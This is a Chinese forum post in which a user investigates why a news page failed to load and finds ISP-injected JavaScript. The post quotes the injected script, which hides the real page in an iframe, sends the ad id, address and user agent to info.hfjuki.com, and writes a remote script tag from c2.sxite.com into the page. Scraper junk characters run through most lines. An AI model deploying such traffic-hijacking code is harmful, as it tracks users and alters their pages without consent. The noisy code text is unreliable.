|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑
/ m. u4 P7 z4 i( J2 f
' l$ \" w# C! m5 g# F3 d上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
G) o. V5 D5 p+ h1 u4 Z" b* K! r: v# Q
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
$ i1 O9 j" Z" D- Z+ H/ j$ f# B$ nhttps://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197
2 A- R2 N6 b2 n3 d$ F5 q
) q# A/ ?9 y. s" ^) t4 |顺便查下ip138:; \% e( F+ }: \0 U
. l1 ^- V0 T5 i7 h7 ^这是那段js里面的代码,好象是个半成品还没写入广告数据:
c- B8 B) N! r. q: u) ~0 v- function locationSearch() {5 D! Z# _: h, x9 w& r" J9 y
- var s = getMainJs();
* }4 S, c' Z; I# B3 } - if (s == null) {1 c9 [- x( x* y. Q4 z6 Q* t/ L$ W! o
- location.reload();' X' Y- Q0 T- A& n
- }1 t |: ^0 N; d5 I- ] O3 t
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
: X9 P1 v) k. U - }
) t) J5 M& g& L' E4 @+ ~3 f - ( t3 }0 U5 V7 q- {. u, ^
- function getParameter(name, paraStr) {
1 Y/ R& ?3 q, z- S9 P - var result = "";
9 t% p$ [- b: [' q1 N2 { - var str = "&" + paraStr.split("?")[1];
. U/ Q- u O" E4 s: P - var paraName = "&" + name + "=";: m0 C4 D: o: L9 @9 |
- if (str.indexOf(paraName) != -1) { X' L. }, K$ d1 _1 U( @
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {. [ l5 R, e; k5 w. H% n
- var TmpStr = str.substring(str.indexOf(paraName), str.length);
# r% h: l+ a6 f& L% J x E - result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(7 Z" g, i8 O% j3 [9 j" Z. r9 u. n" `
- 1, TmpStr.length).indexOf("&")
- }/ M4 \3 c4 Q7 `$ l: u& [ - - TmpStr.indexOf(paraName) + 1);
7 _6 o/ O1 t; }0 o - } else {& L1 U( M+ g* t/ |: @* P2 E
- result = str.substring(str.indexOf(paraName), str.length);
5 x2 p' d; g5 D/ a8 T8 X - }6 n x6 R# j( _+ Q" K. A
- & k1 V3 k, i* k# I4 l) k. N# T. b
- result = result.substring(result.indexOf("=") + 1, result.length);2 b- v* z( i" \
- } else {
$ t0 B7 L9 B/ L; V, G# e# ?. k - result = "No such parameter";
; l5 R# e5 B1 V; ^, `" R - }
9 {& i# s" r6 j+ y# P# { - return (result.replace("&", ""));
* a. ~5 B8 o$ \) m. u; k2 D* t" a, _ - }
0 E. z: r y# X+ `/ J
& I( }5 G7 J; I! w9 l' x7 @+ ^; M- function getMainJs() {* ]1 n( e# l1 s. ~% I
- var scripts = document.getElementsByTagName("script");
3 F. D4 S4 y V - var s = null;
4 I/ w' }( [. _7 A7 {: o - for (var i = 0; i < scripts.length; i++) {
1 i( | n* b9 n - if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {4 l3 `" E9 A) M
- s = scripts[i];
& C+ ^( B$ N( |7 O/ l; o6 C - break;) f* `( f8 |6 i) c: J( o( T
- }" N" y( E' u" X+ `' V+ R: b* G) n
- }
; f3 u1 {* N8 Q - return s;- d+ r6 I1 Q5 E" [9 O
- }* j: _ p# G4 Q, R1 h7 j
. q- F# \0 _( R: |: j- function appendParam(oStr, aStr) {
8 @4 M5 y2 a, U0 x8 W0 z - if (oStr.indexOf('?') > 0) {: _3 H* g% D U$ }/ O/ E$ u6 @( D
- oStr = oStr + "&" + aStr;
9 r% g; u0 ]& n( V0 w* T, R) p, `9 X6 w - } else {7 `* k8 E: g4 y; f3 t( b
- oStr = oStr + "?" + aStr;
- y' G: e3 j0 d. d2 R - }3 s* H- n- _7 t; L# T: b$ l/ D
- return oStr;
' z! Q; ?0 i }% _6 ] - }- w7 u; e- X$ W5 S
4 z7 D8 R' W8 c' p- window.onerror = function() {
2 N) `/ c5 `9 X& D - };
" n% h7 H, e/ Z, A4 v$ {
" N6 Z; o8 s" s9 F! j3 F- D- var g_titleTime = 0;
# I5 _+ P5 V S3 @ - function setTcTitle() {
0 b4 z+ F) Y. m. f% Z+ K - if (undefined == document) {
# }# k/ ^! k' C% V# m, v7 K - g_titleTime++;% @% k7 @8 o% X- m" c$ B1 r
- setTimeout("setTcTitle();", 1000);
& T0 b! s) K6 X, O. z( I0 Q - return;3 J7 i, x; W+ w% O0 K
- }
, W0 S3 h" |1 m9 V3 G - 9 t$ S, _ G0 h0 m2 \" H- a
- var doc;8 y! [/ e. d# i0 t4 r0 y* }7 ~2 q3 g
- try {
" Q% W( [1 ]$ J$ C* M! J - if (document.all) {2 ~6 a" b2 A @* p7 \: v6 h% C
- doc = document.frames["cn"].document;. R5 i0 b* I) g7 B# Q9 a" @4 w
- } else {
% j9 O" } @0 X9 J8 }# I. y" S - doc = document.getElementById("cn").contentDocument;: H& A$ g" L( P. Z
- }+ r$ P! N: ]& z; {* Y' x
- } catch (ex) {% t& r/ ^; U# Y3 K) g0 v
- }
$ ~9 O) X" z# y* h - d; Y$ k1 ?: C1 w
- if (g_titleTime < 5
/ e: ]) a9 x8 M5 h& Z - && (undefined == doc || undefined == doc.title || "" == doc.title)) {+ n7 D: Z1 B! {/ `% T6 V4 Q2 `
- g_titleTime++;
. f3 k3 q/ ^, a - setTimeout("setTcTitle();", 1000);1 @! p4 e8 j$ e8 r
- return;6 x2 h0 ^: t# h
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
9 s4 O& p, q9 v F% D0 U4 | - document.title = doc.title;
* }) ~" H- N, x - setTcAdvVisible();( m& f! G$ h. V6 }
- }8 }+ ^0 a* p) z6 \8 O4 C
- }, |% h5 k' W2 _* @7 H, ]" ]+ A
5 R3 @6 F! w' F2 x# ^- setTimeout("setTcTitle();", 1000);
$ \, B& L% K6 i z. n3 x - # V) q; z4 ], g" G
- var g_isHaveVisible = false;% A$ j5 s: ?; D$ P8 f C) X5 ~
- function setTcAdvVisible() {
* G2 \: z! u0 s - if (undefined != document && undefined != document.getElementById("addiv"): K1 i! @2 c6 v" w- M/ {4 d. L
- && !g_isHaveVisible) {
+ V, L6 N4 c' E6 Y# O- k - document.getElementById("addiv").style.visibility = 'visible';" g' j; S; v8 a- O# Z2 \+ G
- document.getElementById("addiv").style.display = 'block';7 r* a3 y2 }: h- L. ]
- g_isHaveVisible = true;# P- l! @# }; p; I% t
- }
- D( j) n' T2 Y4 a6 A1 i- {2 ` - }, ]: z7 _* w8 F
0 h9 h' q9 Q) |, Q1 H: a- function UrlAnalyzer() {
1 Y# ]0 t3 _1 Q% ^4 ~0 l5 @# X/ z - this.divda = "";4 t0 k8 s' D2 q$ W
- this.tctype = "";) ^, u% i3 F( e# V# h9 o [
- this.radius = "";
$ k8 M4 Q8 s, o9 n+ @5 J; { - this.rlu = "";5 g! U2 b/ A: n% C$ \- z& v
- }
/ J" @1 n( ]$ M( H, ^, N7 U% P - + ?, R4 @' d% C9 {: o4 h
- UrlAnalyzer.prototype.initParameters = function() {4 l( T- X6 W$ k6 i
- var paraStr = locationSearch();
; k; @( s4 T5 i. c - this.rlu = getParameter("lruedct", paraStr);% M4 q2 ]" N) F0 p( P
- this.divda = getParameter("divda", paraStr);# z1 Q; K) `( _# `0 ~: j
- this.radius = getParameter("radius", paraStr);) f* D- ?) l, M$ ]
- this.tctype = getParameter("tctype", paraStr);+ b1 @( u" K& Y! a% V/ ?
- this.address = getParameter("address", paraStr);2 q7 M: p* p! ~. |! @/ ?- ]: D) | F; ]$ d
- this.usagent = getParameter("usagent", paraStr);
8 M; Y5 V3 P/ }7 {% j+ ] - }9 V( I* w6 ?& z5 W' o7 N5 x# i
- 6 [/ Y$ t8 W5 I4 [0 _2 P# i
- UrlAnalyzer.prototype.getHtmlDoc = function() {1 k& |( {" f' T/ V) a
- var doc;/ b/ X4 Q/ p) t) o5 P7 j4 I- o! v& m
- try {
- ^4 f" }0 V- W( k8 y - if (document.all) {( H/ l$ |' O9 J: D3 R; ?, B0 I
- doc = document.frames["cn"].document;
* P( L5 d" {! Z8 q W, [
% y# U; W9 S8 ?3 s ^+ Q- } else {
0 s# j0 Y# C' B( q" l- i - doc = document.getElementById("cn").contentDocument;
( m% g5 T, Y* j7 D% S0 d - // doc = document.getElementById("cn").contentWindow.document;
T4 }5 b0 u9 _3 y( O3 H - }
0 e" ^1 T" W7 K- a7 ~1 G- O2 ^; |3 w7 D - } catch (ex) {
) ~- z' n S4 c6 a - }
# N% t! D: g2 k6 f - return doc;& S- T+ r! r" \+ \6 j/ {8 T
- }$ z0 @( _8 D/ o) \7 E8 p: [2 Z+ W
: I* `1 Q# ]6 Q/ Z# n- UrlAnalyzer.prototype.setDomain = function() {
+ G( m" j6 ?4 M9 Y7 T f' r - if (undefined != document.title && "" == document.title): M7 ~+ X) t! }; i% o& A
- {
- s) B5 P- I! \( @% n - var index = document.domain.indexOf(".");
& X, M+ d, x- S2 `5 @ - if (undefined != index && -1 != index) {8 D6 L2 @' W8 I8 k
- document.domain = document.domain.substring(index + 1,
; h5 z8 l- h1 `# q. p - document.domain.length);, {7 S2 | }2 O, }& O
- }
l5 U, n% V& _8 m6 `- [$ t- B -
8 I, w8 b1 p7 D! n* A$ I! `* Q - var doc = this.getHtmlDoc();
! `9 x. D; q+ P& {1 t9 U6 {( r$ Z - if (undefined != doc && undefined != doc.title && "" != doc.title) {
1 h% P$ X$ g5 d6 v0 M - document.title = doc.title;
1 V9 f- D$ w8 ^2 E& q! ` - setTcAdvVisible();
! g( ^: ]1 R8 @5 o! I - }
# t0 m0 y4 u7 W$ R/ L( ? - }3 e" d7 W# r: O7 I$ V% H! T
- }
" V; M: L* J/ x6 H; B' J
- t K" b1 {, m2 _" D3 v- UrlAnalyzer.prototype.iframeCallback = function() {6 I0 S. K* `! Y$ g2 z
- var doc = this.getHtmlDoc();; |/ z9 l$ V% y! e! s; [
- if (undefined == doc || undefined == doc.title || "" == doc.title) {
- p* J8 K3 G5 F6 I' J: q# _( I - if (undefined != document.domain) {* E9 x* d! r6 Y0 X1 g) X6 z
* L- C/ P& s8 P; q: S! f( n8 C) J- var self = this;0 Y' C; O! o+ h! q- U
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);9 _9 b) Q6 t b
- // var index = document.domain.indexOf(".");3 D, d7 }- W$ i
- // if (undefined != index && -1 != index) {
( B7 l! A" H, F `9 s - // document.domain = document.domain.substring(index + 1,
+ k4 z' N% {2 [ - // document.domain.length);& o o% A2 k/ ^* }# _5 [4 q; K$ o* K
- // }* H) T K: a) H
- //
% e# I- ^8 `+ A# `/ }, [ - // var doc = this.getHtmlDoc();
9 ~% M5 O' T' b0 w8 v- ~ - // if (undefined != doc && undefined != doc.title && "" !=
5 W/ S" W3 l7 ]- K* {0 n: s- i - // doc.title) {$ v2 H' d* ~8 Q9 M" V7 _) Y* b
- // document.title = doc.title;
6 ~( f2 h+ r) j+ E, t+ m4 G - // setTcAdvVisible();6 E7 Z/ [" |) U
- // }) [ {. |- G* Q1 M1 G# w; L$ |
- }7 k" G+ c6 ~% A
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
8 M) @* \% c' t% s b - document.title = doc.title;1 a2 C+ Q9 W9 M0 Z% x. |
- setTcAdvVisible();. b% u R0 r7 Z* D: `2 X1 W; Q
- }
1 W; }: z9 d, s8 s. E0 L) z - }* C! h* i; n# o
- # W, K) d+ L0 p' y5 d
- UrlAnalyzer.prototype.executeHtmlContext = function() {: S2 ?% d& S- A8 t
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
5 p# B1 J+ e# g4 s1 v9 K - + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;+ I* m7 L' r) J! g! O- Z
- " U4 c8 m$ Q4 D
- var htmlStr = "<iframe src="" + staUrl
7 \6 v" c% g$ F0 D4 b - + "" style="display:none"></iframe>";; Z& Y6 ?4 y/ Z; x
& X" z1 T9 C2 ]2 e0 O- var advUrl = htmlStr4 D$ c3 p+ g+ ^2 x- s
- + "<script src="http://c2.sxite.com:8060/center?advId="
& @0 W9 M$ a1 h7 a - + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";) m0 o/ ^% T$ g3 N+ X# ?; s
- document.write(advUrl);/ U8 ~5 j8 G8 e! [$ L& ^3 m* c% ~% W
- 0 a. \7 t( L: P' k& [5 s7 O
- var self = this;- b ^; u- T* s* o
- var iframe = document.getElementById("cn");! [- x8 Q9 e; {; J. L+ ^
- if (iframe.attachEvent) {- t1 l% O/ e8 } g( A
- iframe.attachEvent("onload", function() {0 {9 s3 d1 d' t$ e
- self.iframeCallback.call(self, null);' b& _! J! G1 P& Q& F- A
- });" z0 h8 Q: h7 B
- } else {
; _' y3 E H* k! }8 g - iframe.onload = function() {0 w* N' _4 L% w3 Q4 ^
- self.iframeCallback.call(self, null);5 s) O1 F! d; j- H% T' B% N! a- y
- }6 y! ~9 ^8 k% B3 n9 `
- }; Z% k n L, l" W
- }
( y* l5 E) @6 A. n
3 {: J3 A; g0 @) |( a* `& t- UrlAnalyzer.prototype.executeMain = function() {
& y, Z! U, U4 {0 D1 U - var mainFrame = document.getElementById("cn");
# f9 x7 n+ R( p- @* U. @ - mainFrame.contentWindow.location.href = mainFrame.src;
/ m* w# X- m2 W - this.initParameters();4 {4 O7 f4 y5 Q7 G( |
- this.executeHtmlContext();2 P4 b! ]- Z7 _6 Y- B# K
- }
: |; D& {5 X7 |2 p) m
/ `3 b3 m& }! D& G6 M! t- var g_analyzer = new UrlAnalyzer();
d( K1 b, W5 A6 ?( C( ~5 W - g_analyzer.executeMain();
9 I7 y a( X* [* g
复制代码 ; Q- ]. g L/ z6 w
" D+ C8 C0 }# j0 e0 S# m+ T) V; M! ?$ x% C5 N
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
×
|